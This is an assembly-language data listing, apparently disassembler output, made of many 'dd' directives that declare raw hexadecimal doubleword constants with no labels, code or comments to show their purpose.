		dd 0A812A8E3h, 6C136941h, 872B855Bh, 3F1EFF89h,	645870C1h
		dd 80239B32h, 0BA57AF13h, 5AD4FB95h, 5DFF6BB1h,	0C0346665h
		dd 3FC1E41h, 0FB918CB9h, 9FEE4383h, 0F734F7CFh,	0E978377Eh
		dd 0E0FA9BABh, 0AC81E3C9h, 0D309FD47h, 0AEED2884h, 0ADC115DAh
		dd 18CE0793h, 2231E9C4h, 322DA3F2h, 0F6E6447Bh,	0A3FC56C9h
		dd 7571BB0h, 0B36CB187h, 7C105AECh, 0D1D88E19h,	292BEC31h
		dd 0FEA2FDDFh, 0CE2C5218h, 0BDDBC0F5h, 307F0D61h, 17668AE0h
		dd 0F8947478h, 0BF1C6CBAh, 0DDDD67EBh, 0F668628Dh, 0E5BA6445h
		dd 5D5BF67h, 0FAF03450h, 0D324CCB6h, 0ECD27C78h, 0A41432D0h
		dd 0D5AB06DDh, 5B10078Ch, 0C2F551C5h, 0CE13358Dh, 4179CC34h
		dd 1A6C0713h, 0F145E79Eh, 442F5E57h, 0E19B9126h, 190EDD3Dh
		dd 0BA8F94E9h, 0B88BC20Bh, 1366225Ah, 0B0F57h, 3620773h
		dd 0C489546Ah, 9F2FEEC9h, 186F4CD1h, 76F93E02h,	0A98FEC12h
		dd 6A354D53h, 48D8DA13h, 3FE9F96h, 0D9CF4377h, 0BE459C4h
		dd 4AB84BE9h, 0B4C459B2h, 2CC47096h, 0DFEE9172h, 4EF75370h
		dd 2EA7D7B5h, 57C05E34h, 0BCAD913Eh, 3B0B211Bh,	0F0B1A1D6h
		dd 6570A8CBh, 0CDA3089Eh, 345D7924h, 56B68C26h,	5BB868D8h
		dd 3CF59503h, 97E7D51Dh, 1DAD797h, 0C8A5AF29h, 4A321320h
		dd 328F3F0Ah, 0B699A538h, 96EEB320h, 85308BBDh,	2E744B8Ch
		dd 25CF814Dh, 9197051Ch, 0BDBC283Bh, 102FBA32h,	0E0DF8D30h
		dd 35C229B4h, 0D26493A2h, 0A5276F27h, 7052EF40h, 5DCF5C58h
		dd 0E570089Bh, 8B1AF39Fh, 0CCA1027h, 9C84C14Bh,	0A049CB1Ch
		dd 0FC9F7C6Bh, 76DC3F01h, 10A7A0ACh, 82A8986Fh,	0C94BDA44h
		dd 0A3662A37h, 837D9059h, 471133BAh, 987DD4Eh, 765B161Eh
		dd 0ACCEBF75h, 0E5CE84E0h, 0C8913A8Dh, 0DEFF6753h, 22B5D9D0h
		dd 2B6A18E7h, 6F7A44E7h, 0EBA8D237h, 0CA471FECh, 166ED7DBh
		dd 0E15ED3F8h, 0A4C952E4h, 493153A8h, 0B5F52043h, 5C7FF791h
		dd 130B5EC8h, 0E5FA875Bh, 0DD5F41C8h, 0A7C1BB3Dh, 0D688AE89h
		dd 1C9B9A79h, 0D219D9A5h, 2581935h, 5EBE7AAAh, 3620BF20h
		dd 0FD522EE5h, 0F96D3A2Ah, 2A75BB30h, 7DC37760h, 0F203DFE1h
		dd 0D2D3B5C9h, 9FF3553Bh, 7E65BD95h, 0F81F207Dh, 0B4AB23FCh
		dd 0EA91901Eh, 0BE23F5E0h, 3F2BE0C3h, 0DF179D7Fh, 2C4357B2h
		dd 0FD59FE2Fh, 0E9950E51h, 6DE72F39h, 8275ECF9h, 22F374EBh
		dd 0EE141C84h, 123D0FF7h, 0E862EE0Dh, 8C4A746Ah, 885AB5DAh
		dd 7EE4B32Bh, 0C4E8CFC9h, 0E20DA7E8h, 7A281580h, 0A128C533h
		dd 341A2C96h, 0D4993B53h, 82EAF378h, 3F06A90Ch,	0FF6F4EF7h
		dd 0F1D1DC4Dh, 0F04E3CB2h, 79BCF768h, 8A3D380Eh, 32E8EBC9h
		dd 6055EB66h, 0EEB93540h, 3FE29FEDh, 0BF358B8Ch, 8BBE72ECh
		dd 891DB74h, 691B54FEh,	75DEA281h, 16938130h, 0E3D002F6h
		dd 8B7D2F20h, 0C5B5D4DFh, 7140BFA1h, 0DA178ABCh, 0B864D4DEh
		dd 398E5C69h, 333AF27Fh, 20197479h, 48FC898h, 356FAC01h
		dd 0D75037E4h, 0C18D69DAh, 185055CAh, 7C232025h, 66EEFBF7h
		dd 2F1D43AEh, 0E9D7176Ah, 87019DE1h, 0FA1E77A2h, 102AC286h
		dd 12361AA6h, 6AE5ECAAh, 0E2A06FD0h, 0EA7430A7h, 64A588C2h
		dd 5E72933Ah, 8E97A2A8h, 9C0EF10Fh, 4D459237h, 95EA94D5h
		dd 0A2526597h, 890FE9C7h, 85C674C1h, 94429C0Eh,	463643D0h
		dd 4E786FC8h, 99A7D52h,	0EB05D13Eh, 97A0370Fh, 2ADF2B7Eh
		dd 67E42978h, 39B583D5h, 0D68FBA76h, 2BBDBDE1h,	4BB5A031h
		dd 0DB03085Fh, 50FEA4EFh, 8AAE0454h, 0BC083945h, 1D8C67B8h
		dd 0DEFC60DBh, 58EC0412h, 0E1EBE4A8h, 0CB1AE30Ch, 9C80784Ah
		dd 7412FFFBh, 7E5C9B07h, 814B93BBh, 35FA9426h, 7897062h
		dd 0E45325BBh, 0A7F96022h, 0AB42CFC6h, 5C9A3BF9h, 41F9B05Ah
		dd 4C705725h, 2AAD8B6Ch, 0FE6E1A32h, 0DF252F6Ch, 58CFAFC4h
		dd 2D67FD25h, 338239FCh, 0A21A029Bh, 64FF6417h,	0FC1FBFAEh
		dd 367759EDh, 0A4FE8D63h, 0CDDBDC1h, 2EC914EDh,	0AD712330h
		dd 0FB34A656h, 0B9EAC361h, 0DB24CC88h, 7E8DEFE3h, 7B00A57Fh
		dd 9476F8A0h, 73B56A50h, 31B92B16h, 6EDA9E9h, 0AC6AF981h
		dd 0D0322FFCh, 1EC7DDECh, 7D58B9C6h, 19583606h,	443C5ED4h
		dd 6A3E0A8Ah, 4905F9BDh, 0D86F91C8h, 5B095F70h,	0CA1FE13Ch
		dd 38D8C64Dh, 207682CBh, 4C11384Fh, 0CC07B15Fh,	0D55581D2h
		dd 2C3F63ACh, 1F7ACB57h, 0F64AAA15h, 291EA4DFh,	0A17852FEh
		dd 877FE8DFh, 27BF4C13h
		dd 483D65A9h, 9AD5E077h, 38249134h, 643AFD54h, 4987D5ACh
		dd 0E453434Fh, 131210ECh, 9E4D075Ah, 8AF5D188h,	664BB064h
		dd 86B5E8D2h, 0DAA41B5Bh, 60220C72h, 708EBDCDh,	0B1B28206h
		dd 0B89BC773h, 0AE60234Ah, 0CD4AFC1Ah, 8CBC210h, 85FC7F7h
		dd 0E93ADEA3h, 0E7B8867Fh, 7EA8300Fh, 869AF63Dh, 856F2A7Ch
		dd 95CD98AEh, 9C5C62ADh, 5AD0E575h, 0E36C609Bh,	7BD82DDEh
		dd 13ECB306h, 3B323043h, 259A3117h, 8BE15904h, 77257EA4h
		dd 0BA68CA59h, 0CCAF6143h, 0F7AE140Bh, 0E6C134A8h, 4916098Bh
		dd 448E5D48h, 3AE377AEh, 0E5C1FA1Fh, 0C4DBD768h, 8718B306h
		dd 0E50AD042h, 2352A9Fh, 0BA346343h, 56109F3h, 9ED3D542h
		dd 4488B31Ah, 0A9E8AFC9h, 7DCC6FD2h, 6C6AB814h,	90A1DF8Dh
		dd 0B961D900h, 0C05494DAh, 608FFBE2h, 0AEC1B26Eh, 79943935h
		dd 4CAAC968h, 0E34F33DCh, 59BE5CB9h, 0C6D8B415h, 674BC58Fh
		dd 0BDE21B5Eh, 11292BCEh, 2BC02B8Dh, 2A01FB5Fh,	43D4C70Eh
		dd 0CC208BA0h, 0D3463F12h, 8B647F8Ch, 60C5BF24h, 29C8FF26h
		dd 1028E777h, 765D908Ch, 7E41928Fh, 65959C32h, 7909FA88h
		dd 91F43382h, 1CF69028h, 3ED9C8B2h, 6EEB2D65h, 5EC265CEh
		dd 0E3F29289h, 0AA97777Ch, 8896475Bh, 245E4206h, 40405305h
		dd 5DE8CDB5h, 47EA320Dh, 0FB2FC09Ah, 2ADB7DBAh,	0E8929DE5h
		dd 0BDAD59F8h, 0D6208209h, 86B8753Ch, 6A9F9A3Ch, 16229BC7h
		dd 0F27BD468h, 76FF516h, 4F49C570h, 0B6E4C140h,	0F84D0C52h
		dd 0DA8C1BC2h, 0D0C67BE7h, 0E914B57Dh, 0ED6950DEh, 2498CA64h
		dd 0E967A3B7h, 3B7350F4h, 683C9C66h, 7A7D91E0h,	934C7A9Bh
		dd 0F48566B4h, 3B8D577h, 0A3031EE2h, 68D47C83h,	81AFEB8Eh
		dd 4CA33E5h, 9EDFEDABh,	5A3887FBh, 6ADBA060h, 392E544h
		dd 1E9EF581h, 0A26D52FDh, 3E1C189Ch, 3FADE756h,	9F4A9B28h
		dd 0B24FC640h, 99D0A99Fh, 37584A34h, 84BBEAC3h,	29AC1832h
		dd 40FF8542h, 6FD587A3h, 3CC9A7BDh, 0B658ADABh,	5DB0E0BEh
		dd 0A7AB16EDh, 0ACE5336Eh, 971C3F1h, 61F2F2C2h,	0E66AB404h
		dd 0A97E4230h, 0DBE8EDC9h, 0A1D9AF29h, 6F0C471Ah, 27FED195h
		dd 1D41A8C8h, 8FB69A6Dh, 0C0F948F4h, 0B3B9277Eh, 11D05EDh
		dd 0DD4A6B09h, 0AEFC869Eh, 2AE32934h, 458EEC3Eh, 87C6213Ch
		dd 26122137h, 0F13AE3C4h, 44705DCDh, 9E326D4Ah,	21AA73A2h
		dd 0A7DAA64Ch, 0CBEE8EC4h, 0E1BC210h, 5F15FC29h, 0B2427D34h
		dd 48F33916h, 8BE1A4DAh, 0E95855B2h, 289A9CB5h,	9560009Fh
		dd 9B6D7E40h, 69556EE2h, 0A2E4E42Ah, 7A867E62h,	0A7C3F616h
		dd 0AC6DA199h, 24AB0D80h, 62160C82h, 7A085859h,	0A6028C10h
		dd 0EFD54A4Bh, 9B6C5AC8h, 529739A6h, 0F6192418h, 0C082A080h
		dd 16C1CCEEh, 0E680D0Dh, 0BF231C74h, 3DABE6BFh,	0B8B24CDDh
		dd 225F0E7Fh, 3E74D282h, 0C45C3859h, 0CD0F6CF9h, 7FE0556Dh
		dd 4EDC1228h, 6FD4A796h, 93430A27h, 3038CD2Fh, 0D4CEB3E6h
		dd 56FC0859h, 43664D0Dh, 91CD6B0Eh, 0FFF4601Ah,	0B956DF62h
		dd 84BD6ADBh, 8E9ABE9Eh, 3D9B625Ah, 68393201h, 6C4F235Ch
		dd 0D93BE912h, 26FC4878h, 0C3C3A8C7h, 6CC67FF6h, 14387951h
		dd 349B7AACh, 0AD55F7A4h, 54B7B51Dh, 97B4DAE4h,	0A20295E8h
		dd 0FFC99C1Bh, 3D7B9B18h, 3A431C45h, 5A11C9D1h,	379953C0h
		dd 0F60D2FDBh, 7C003ECEh, 0B10106C1h, 65EF1391h, 0A1BC0EC4h
		dd 0A2861424h, 964CA7F5h, 6E0A93Ch, 71FB6751h, 0CDF0F78h
		dd 27A671FFh, 61182F25h, 0AABD3ADh, 789900C5h, 90C725C7h
		dd 0BD694F37h, 0D28CB47Eh, 0E6EB7B06h, 56591272h, 0D8C3835Eh
		dd 7A3A04F5h, 94F5523Bh, 7BB07C33h, 0EC884092h,	0DB7BE130h
		dd 37C60E16h, 0DE4BC9BEh, 0E850F060h, 0F5BB6319h, 48CF7691h
		dd 29EF840Ah, 1F510622h, 0E34A245Bh, 793140Fh, 0A5E760D3h
		dd 7ECDA1BEh, 18687D32h, 506E6064h, 0D8BECCCAh,	0D7A2D57Dh
		dd 3063B3D5h, 58AF9549h, 0A4A56C1Fh, 0F3755AFBh, 5B587B38h
		dd 0DACB4602h, 396AD9C9h, 2E001A19h, 377F9E90h,	0B40324EAh
		dd 0A4F690C4h, 0D3ECDED3h, 56483EBEh, 0BE3076CFh, 0A5F49F7Ah
		dd 839598D3h, 28F928A3h, 4B42A83Eh, 74734DBh, 2EC980B7h
		dd 75637751h, 0BA5F6A3Fh, 67E41704h, 94E91079h,	4D3F0AFAh
		dd 0BD2403EAh, 69DB5F0h, 9B30D998h, 825FD95h, 0EC3C8F28h
		dd 4B61CBE4h, 58962D08h, 78EF8F2Ch, 0D9FCBDFCh,	560BC087h
		dd 3ACF744Bh, 5C9D23DDh, 2CD7878Fh, 0C4300E13h,	0F8C63D35h
		dd 9835FEF8h, 30307DDEh, 0F92EFF42h, 99EE8FC5h,	83BA78A4h
		dd 54787F82h, 0F5BD09F8h, 2F8847DDh, 430F6BD1h,	78485F5Eh
		dd 58184317h, 0B609B751h, 13DB5E1Dh, 7BB02316h,	0D29CA1AEh
		dd 0F475D616h, 0FC913A2Fh, 6C63E689h, 253149A8h, 4B41B54Bh
		dd 5C374390h, 0E0A92143h, 0AAC2D3B0h, 7CC3CA41h, 11C9BE9Ah
		dd 0D9D58090h, 1D45574Ch, 794149ABh, 5D85C47Fh,	36287329h
		dd 0B5E2C63Ah, 969DEB9Dh, 0D385A50h, 515C0E6Dh,	0D8D5F484h
		dd 605357FFh, 0DF71897Eh, 21D19C7h, 2D83F505h, 0AA508168h
		dd 7A431FBAh, 12D5E7B6h, 8C113Fh, 0F8C7AA92h, 5011107Eh
		dd 441AC0EEh, 86D0DE14h, 2F2CEA07h, 0EDC10512h,	0CF30D74Eh
		dd 4592755h, 0D4B80F2Dh, 0DA8D3698h, 0B960BC82h, 72B8BC8Eh
		dd 8A6CB044h, 3F5AA381h, 6343664Ch, 37A24E1Ch, 0E8D1A6DEh
		dd 0E0CA8DA3h, 0D6604DEFh, 69A25B14h, 81D5604Eh, 0DB8D3BEh
		dd 462C0CA9h, 0FEC94BA3h, 5ABBE885h, 63EAC3CBh,	75B1F2D9h
		dd 66F6AD93h, 8CFCC2F6h, 92A85427h, 0A18D4A65h,	0F0DC3FC6h
		dd 29880AF1h, 393D8677h, 50CE07EEh, 0A4330FDFh,	0CD84DDA2h
		dd 4DB0DFF0h, 8345AAF3h, 55D3AF70h, 1B7849ADh, 6C11C0FAh
		dd 0DB6A2BCFh, 61ADEC4Fh, 0EA5E2AFh, 4917E18Ch,	3FE6559Fh
		dd 6ACF3398h, 902BBE1h,	5A814BFEh, 13DF1C04h, 5E5482ACh
		dd 225BF417h, 0DFB55CAFh, 0BA65E987h, 0E2553E1Fh, 0B6A2269Fh
		dd 0A688C116h, 0D1CB4AC7h, 0CDE2E3Bh, 0B358B9D5h, 60CFAACh
		dd 7398AE1Eh, 195C9676h, 0AFDA4C1Fh, 57AD40C7h,	7DA47A02h
		dd 0EDA66721h, 0B1555BD6h, 28FB5386h, 68AC9A58h, 1CE46818h
		dd 99E126DEh, 0D7FD4129h, 0C9DE0210h, 0BC6E0600h, 0FF7F1843h
		dd 53893C82h, 0EC950AE8h, 9A5C7E21h, 428139DFh,	0B1C23C36h
		dd 57C43A9Dh, 0DDB661FFh, 880E9764h, 25742E11h,	7DABAEA6h
		dd 0DBAD756Ah, 0F2905BCFh, 0C9C72626h, 0F66BFC61h, 0C2BCAA8Eh
		dd 0EC543411h, 4C184872h, 0C5B59A77h, 4ACEF097h, 0A78CC42h
		dd 0B5966A9Eh, 0CEBACAC5h, 0A9FC0BAAh, 340EEB87h, 0F8ABA500h
		dd 0A19E375Eh, 0BEE0DBBCh, 18741D7Ch, 536B4748h, 6023BAF0h
		dd 0C226939Fh, 0B7CBC11Fh, 2A8DDD37h, 715DE67Dh, 0B04779AAh
		dd 58A54C99h, 0E4AC3E77h, 641D6E1Ch, 672A1E69h,	19F1B29Ch
		dd 6ED843A1h, 0ED5E1E09h, 0B1EE2549h, 0DAD28C2Ah, 0B6090BFAh
		dd 5862EE6Eh, 4B2C8C62h, 4ED3399Fh, 0DD39B8CCh,	6D02AC45h
		dd 9FEDD086h, 134E8A53h, 42CD14C8h, 0D6FAE499h,	6EECFB50h
		dd 4BBF17A5h, 1C574F11h, 5158C84Ch, 579D3B1Ch, 0DFAF3E9Ah
		dd 5DE2397h, 265DD15h, 8C09A1Eh, 0B0FAD52Ah, 19D3FB9Dh
		dd 7B527A6Ch, 833A016Ah, 5CE80D20h, 0EAE19E52h,	0D8DBAB0Bh
		dd 2CB4AA92h, 27E536FEh, 0E80FFDBDh, 71E63BF0h,	3A259D89h
		dd 235BA6AFh, 19DECEFBh, 0C2A29E6Bh, 0DD10C86Dh, 0A0EF17AEh
		dd 8B8202A3h, 9069171Eh
		dd 0B308D1B6h, 0C7A585BCh, 0C44D955Ah, 99629A8h, 6C5298B1h
		dd 0E3878E83h, 931A373Ah, 5B7F5EFDh, 76976E2Ah,	28B6B7E0h
		dd 1F9FF46h, 0B8B1EB46h, 23698F3Dh, 3D8B7A60h, 1FCF128Ch
		dd 344F9157h, 0C3862A36h, 7A5F313Ch, 13E13B15h,	6EA3050Dh
		dd 98A8F642h, 56EB99A2h, 0C928C5DCh, 0D13DABBAh, 54F575Ch
		dd 0C7375A24h, 589547E8h, 228D9B5Dh, 782EF484h,	4709BC9Ch
		dd 0FD02732h, 573FF27Ch, 0D742E7D3h, 0DD1AB960h, 0A242CC6Ch
		dd 0EA36FEA7h, 79971584h, 0B38FF21Ah, 484073FDh, 28B0E2A0h
		dd 28DF1AA4h, 0B14848E4h, 9258FC81h, 2EBFF012h,	384ED9D6h
		dd 0AC96122Fh, 8885183h, 6DDC8C76h, 0ECC60504h,	7DBCCDEAh
		dd 4BAF9099h, 894C05E2h, 13F65BA6h, 5F4C7BA0h, 90F8B72Dh
		dd 99EFF995h, 4D179C54h, 0FA32BC3Ah, 2DA7D153h,	0B3B447D7h
		dd 1D7D2FBBh, 61DC3D96h, 0F9ED5C00h, 0E7240FBCh, 5DAB69F2h
		dd 40AE2E5Fh, 27C3C997h, 23A6F21Bh, 0F7C235F6h,	0CE9CF5DEh
		dd 5E74D724h, 4AD942D2h, 0FE4D0175h, 0F580D92Ch, 0DBA541CDh
		dd 1B7ABAF1h, 0A002A00Dh, 0E2ADEECFh, 831BBA2Ah, 0F89803D4h
		dd 0ED60DE59h, 8E251A41h, 0B908952Ch, 4D8C6E9Ah, 8B9BC9ADh
		dd 251614B0h, 62F422E1h, 75DA3FDBh, 465B3790h, 0BD80E5F3h
		dd 30A5D710h, 5A68ECCDh, 0FBF6973Bh, 0CB7F9E31h, 5ED18B86h
		dd 1B80ADD6h, 1B1D82D6h, 87E296DBh, 0CC3FF468h,	2108EBAAh
		dd 74F89C83h, 0C90FE175h, 4A94954Fh, 29698148h,	0D518BB80h
		dd 6127EE29h, 0C7D1EF3Dh, 0D826BEF2h, 404A256Bh, 0BC86F838h
		dd 752EAA76h, 2950113h,	0DD71590Bh, 51895B72h, 0C510C951h
		dd 74206433h, 3D26B8B8h, 126E63B9h, 3656D78h, 52D8D146h
		dd 2DCB499Dh, 0C568E2DEh, 6EC53747h, 0E54598C4h, 83C63DCFh
		dd 0AA906BF8h, 0CF8884D7h, 820A5265h, 0ECE792A5h, 0BD5B25Fh
		dd 1E80027Dh, 0F0F9EDE2h, 0EC1F0114h, 6C4A2B1Eh, 684F5510h
		dd 6C7543FAh, 8E78F6E3h, 0EC5FF24Eh, 98538B94h,	50AC7925h
		dd 6BFEA354h, 0E062057Eh, 6C796D8Eh, 0AE7AE222h, 0FFA0A192h
		dd 24F346F7h, 0C2F7F892h, 0F808FC8Fh, 8A1422A3h, 2F88D0EAh
		dd 21F5DC45h, 0D827F281h, 3C11ED3Dh, 1982DF8h, 0DA4A3954h
		dd 59556747h, 55AE6B74h, 7AF418A1h, 0B2FEAE8Ah,	30CCD5E2h
		dd 0F7577590h, 43E9624h, 6275CFDDh, 0D0044A28h,	9D528B9Bh
		dd 75197A1Eh, 43EC2887h, 0E65B0DB9h, 97A8E9B3h,	0A80DE8D6h
		dd 31513435h, 4A8FB8C3h, 73E4E88Dh, 4BE999A6h, 0B6AEEDC3h
		dd 0AC72394h, 0AB5C63C8h, 76C39BD2h, 3F12CB85h,	0A47996EFh
		dd 0CA06DD73h, 3A873661h, 6A3F03B6h, 0B631E5C6h, 612BF2B7h
		dd 906290AAh, 8B418698h, 29139EEEh, 6DEE7246h, 0D3CE0B61h
		dd 0A03BC12Ah, 5374CDFBh, 5137B838h, 32E0EAh, 5A9C5110h
		dd 7A660CB5h, 9261B7BCh, 0C9CC7D70h, 51D23880h,	6E16FFF4h
		dd 69E1FDA1h, 2DB25DE8h, 0A4EB75CBh, 122E690Fh,	9EBBEBEh
		dd 808AC66Fh, 0BA558BEDh, 2B194E87h, 67ADD1C8h,	35737E35h
		dd 2602B089h, 4043F5D9h, 19D9E83Fh, 40E3B3D1h, 0D01C5064h
		dd 9BCC1B5Dh, 62E8BF22h, 45395B4Ch, 190359C1h, 0A4C108B0h
		dd 4FFD862Fh, 2C218739h, 3FF16DCCh, 4EB845BDh, 6A6ED992h
		dd 9610CD10h, 7C871631h, 4EF9FA07h, 4F72253Eh, 5C5A76C5h
		dd 0C8F56AF7h, 1E4CA019h, 67EEF348h, 13A97178h,	0B4C153E2h
		dd 4BAD7C4Dh, 0E21EE9D8h, 9144C24Eh, 669327DEh,	647B0EBEh
		dd 921F5E3Ch, 1E7FF8FFh, 381EBF7Dh, 93E53020h, 13835B6Fh
		dd 0BE2535B4h, 419AE295h, 15982E78h, 4FFCD5E7h,	9775B1DCh
		dd 0BE095ECEh, 0E92F2142h, 5393D4A6h, 332C0768h, 41B01691h
		dd 20026C41h, 0ABD1D32Bh, 0DAC7051Ch, 155C995Bh, 0F090F883h
		dd 0E36A9766h, 4DA7FA27h, 0C25103B2h, 0C95848BEh, 0FD7D6CFh
		dd 34BDA64Dh, 0F73DF073h, 976FD4h, 0F50E2407h, 0F8A94DA4h
		dd 9FFB892Fh, 0ACA9F302h, 9D70C9CCh, 2A4D5829h,	743B7F03h
		dd 0CB002AC1h, 52B2B7C2h, 0F2C894AFh, 74973FE6h, 0F6EEB384h
		dd 0C7514A15h, 22D2767h, 53B5BD26h, 0BDC5ACD1h,	0E732CB53h
		dd 45D3456Ch, 7B6B7BE5h, 96400641h, 6CB98624h, 0D7E7B582h
		dd 89D88F29h, 99958D95h, 224CBDCEh, 433AC0B8h, 248F66A3h
		dd 23C6EBC5h, 3BE8B727h, 32580A66h, 0B7DFB166h,	12BDAF06h
		dd 53EDCAA2h, 3D0B008Ch, 0F14AB6D5h, 0FE06D347h, 0D17FAD72h
		dd 90890451h, 69BC7D6Dh, 0CA795947h, 875FF18Dh,	77718219h
		dd 0F1107261h, 0FC1A4BE7h, 72AA5457h, 53AE5179h, 0FAAF010Ch
		dd 9D324h, 0CE6C9441h, 0EFAE865Ah, 86C430D1h, 0D430C0A0h
		dd 0D43638B9h, 2C85FBAEh, 7ED096CFh, 0F42A7B42h, 6E666C20h
		dd 0C7FF51EFh, 995458D0h, 87A1F199h, 13B7E621h,	3B9359FBh
		dd 8417E77Ah, 24719B18h, 2ED7219Ah, 3B0478EFh, 3C87AFB3h
		dd 5F8BD281h, 0F3BFDEF3h, 0FCB94A9Bh, 0F0E3AE3Ah, 70C6628Ch
		dd 763577D5h, 93A5A827h, 68260C16h, 5B578F50h, 98DF00FFh
		dd 2AF98854h, 0CE3C547Fh, 1A8F7849h, 0DAA3B01Ch, 465AB3EEh
		dd 0A39DDB2Eh, 78830B6Ch, 0BBEF75D3h, 0FF0236E8h, 0AEBE650Ah
		dd 0FC8B4D0Bh, 9BA425Ah, 0FA79179Ch, 0F097EB88h, 8FB2B8D5h
		dd 7DAC9FD7h, 85ED4192h, 4ADED065h, 4A8D24F2h, 0C992A070h
		dd 42E827E0h, 0B63C004Dh, 505DBE25h, 0E77A19FEh, 914A17B1h
		dd 0C500B728h, 10AB773Bh, 0B3DD0648h, 0FE428EE7h, 365D4314h
		dd 441AA4D5h, 38C7DE83h, 1386B809h, 1B5164Ah, 64F0D35Bh
		dd 0C7A0A8AEh, 704F91EFh, 807D9157h, 6130B030h,	0EC668EBAh
		dd 0D0DA529Ah, 4372C761h, 632311DAh, 733B4AEFh,	0B149379Ch
		dd 77BFAACCh, 0F2B9257Bh, 33FD005Bh, 0CEB33A63h, 3788D107h
		dd 906D0399h, 3166E48Fh, 0ADCA030Ch, 3D8D8173h,	0F11BEDA0h
		dd 9A54EB39h, 7B764F3Ah, 5E65CACCh, 0CC756E50h,	0C9DCF467h
		dd 0E2135BA0h, 0E87330D2h, 9B1B5F33h, 0B3B0E30Ah, 508D619h
		dd 0F432F1F9h, 0FE8FF3F4h, 1397D8B6h, 7B798928h, 0AD607A8Bh
		dd 63BF2FC0h, 0DB6F9777h, 254DC656h, 0D87D9A29h, 98142E3Eh
		dd 0FC80585Ch, 0DC619171h, 5F2C690Dh, 0CE64AF8Bh, 3C673428h
		dd 435B0678h, 69E9392Bh, 0E56ACE94h, 58028F7Fh,	0B74295ABh
		dd 20EB98A1h, 0C7084224h, 741220B8h, 0DCBF5C3Dh, 7DBB5442h
		dd 41C5EFC2h, 0EAD8C655h, 31775D81h, 75F91E04h,	0F243A325h
		dd 0D3EFAE96h, 81D064C6h, 78E961BAh, 0E0BC551Eh, 0EEC1DE5Eh
		dd 375824A1h, 2B1EA6AEh, 93B47420h, 0E20A4FB1h,	8BA9B7Eh
		dd 2DF90983h, 0F5FC675Eh, 41E1BC75h, 0A7E86B48h, 0A0185EFDh
		dd 0E7171F48h, 73EB4617h, 90047F34h, 2C5525F6h,	31D90053h
		dd 0DE735A8Dh, 281C2ADh, 8CBA0DC4h, 0B776DFAEh,	6A7C47CDh
		dd 0FEB35034h, 1178EDB1h, 4F2D1F50h, 0A12CB54Ah, 104FD5h
		dd 0F537E4B9h, 5FBA1DDAh, 0B4A2247h, 71591364h,	1D0C091Ch
		dd 0CFB2D348h, 2824D4CEh, 8B33692h, 0BDCAECF0h,	0D947F19Ch
		dd 487FAD67h, 899D5CA7h, 2B0B400Ch, 759ED25h, 88ADE560h
		dd 4BCAC64h, 64BAE75h, 7F93A3AEh, 2453B65Eh, 0EB3E0AB6h
		dd 74F253B4h, 54D54009h, 1C17D741h, 82C3C3Eh, 1C657FB1h
		dd 0F1B13AE8h, 7D8B702Eh, 757F5E8Ch, 985789CBh,	37D24370h
		dd 0E4269A92h, 436C4D49h, 2CFF5938h, 37C748BAh,	3FF7DC24h
		dd 0B6D38430h, 7F305D22h, 20F364E2h, 0E7C0B549h, 0F298651Dh
		dd 0BD511458h, 34122036h
		dd 4C208963h, 83C5FB94h, 0FD4E4BEAh, 49CA5B4Ah,	40C61326h
		dd 7BE1C280h, 0EC6577F9h, 2D53EA32h, 0B22C4F40h, 9AC82ED2h
		dd 0B8C442Ch, 0BA6EFD75h, 72A28D3Dh, 8D93BD3Dh,	0BB7837F1h
		dd 3E80D0B9h, 0EF2AD1B4h, 6E4F29D2h, 14578169h,	5CE52AEBh
		dd 883FA5ECh, 9C2360BDh, 5455F892h, 1FC60E47h, 0CC1E9E6Eh
		dd 0F25B1242h, 9F849344h, 0BFE8844Ah, 8945785Ch, 17BA2E6Ah
		dd 0A3A57E3Dh, 47A3AA1Ch, 0F3A0A0D4h, 9E6D4B66h, 0FF5B46A6h
		dd 0F9F966BEh, 1A378F5Fh, 0DE01E162h, 898B85D9h, 57D39CDEh
		dd 0E50C3384h, 1CF97C7Eh, 65F7DC4Bh, 1463713Fh,	695A6D67h
		dd 28A37DCAh, 7A895BC6h, 9BD88730h, 0E77DD16Ch,	850686C4h
		dd 0D609C60Bh, 9ED5D88Ah, 6AE7A93Bh, 4A68DAF0h,	0DAA33C7Dh
		dd 756CE2BFh, 4A715D03h, 0DBCA538Dh, 78E1FA9Ch,	0B94A45F7h
		dd 0EDF40F95h, 1407035Dh, 0C697ABF6h, 88C0460Dh, 299E9C73h
		dd 44149A88h, 5F524625h, 32FB90C4h, 0A7ABA034h,	73636042h
		dd 258D0364h, 4692BF1Eh, 0FFB61BF7h, 9D4C31B5h,	0EF4800B7h
		dd 372989FCh, 58781153h, 580AABABh, 92A6C562h, 0D69BFB7Ah
		dd 2353805Eh, 144F78A8h, 0CB8F1D1Ah, 817F6806h,	0F7EEC19Dh
		dd 0D67A36AAh, 80B65A74h, 0F2EA5CF6h, 27A6052Fh, 46D2477Bh
		dd 93A6A873h, 9121B88h,	0D37C620Bh, 0AB83DEE8h,	51118E12h
		dd 8E4C226Bh, 7DBF0631h, 0E56BC3F5h, 451471DFh,	9EE1F242h
		dd 0CF0745A7h, 346E8A6Ah, 1A5064AAh, 0FFE9EAE5h, 0A86DDCE8h
		dd 0EA27E691h, 0E8FC2907h, 9F443581h, 0AEC7D7B8h, 0BAF4512Ch
		dd 38970952h, 7DAA2447h, 0DDAE90CEh, 4832735Ch,	0F8F785F3h
		dd 54F65DCDh, 56887B8Bh, 8943390Bh, 778961BDh, 0FC4A535Fh
		dd 681F4768h, 1F355C08h, 851400E1h, 0B3F195A8h,	2329AA2Bh
		dd 4A2A670Ch, 4C526B2Fh, 50A3FDBCh, 3721E9E5h, 190E8221h
		dd 0C1DA638Bh, 0B98AC19Bh, 0D3E75024h, 95E4DBCDh, 0D708D986h
		dd 8A319EAEh, 0E9E8E06Bh, 0BFC4D36Dh, 0CD331BCDh, 570F7CA7h
		dd 0E25A198Fh, 0BE54A104h, 2C60BD73h, 23D34D47h, 1CDBBA06h
		dd 63DAB5A3h, 5F587543h, 0DF8DA4BBh, 0E213E328h, 161E3910h
		dd 1CF016FFh, 0F99C47A1h, 0CD48A313h, 148E2697h, 52EAEAE1h
		dd 2E6BC326h, 0A46BABAAh, 0DAE4172Ah, 0A56A24ECh, 1F9EAE5Ah
		dd 49D20E03h, 0B4557F7Ah, 0EFA51A7Dh, 92D3647Eh, 96E62E33h
		dd 0BC6ECBE0h, 8C4029C7h, 0DC63C6C5h, 850C641Ah, 73D586BBh
		dd 0D8D75333h, 42680149h, 68713550h, 6530B6E5h,	0AABDC9F8h
		dd 0F07D1B7Eh, 614A08FAh, 26AF8E8Dh, 3910EDEBh,	9EE2E26Ch
